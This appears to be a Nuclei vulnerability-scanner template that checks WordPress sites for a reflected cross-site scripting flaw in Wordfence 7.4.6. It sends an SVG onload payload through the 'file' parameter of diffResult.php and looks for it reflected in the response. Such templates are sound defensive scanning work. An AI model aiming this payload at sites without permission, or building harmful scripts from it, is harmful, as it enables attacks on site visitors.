id: wordpress-wordfence-xss
info:
name: WordPress Wordfence 7.4.6 - Cross0Site Scripting
author: madrobot
severity: medium
description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 1
tags: wordpress,wp-plugin,xss,wordfence
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E"
matchers-condition: and
matchers:
- type: word
words:
- "'>\"<svg/onload=confirm('test')>"
part: body
- "text/html"
part: header
- type: status
status:
- 200
# digest: 4b0a00483046022100815f67bcdfe2984d98c0813beb5910e2cc89f870bb3bbd77541709c3b946b81d022100a2dbf03c4062d763655eb094266a2faa921751d5b6a85ddc160e4731ee1731a0:922c64590222798bb761d5b6d8e72950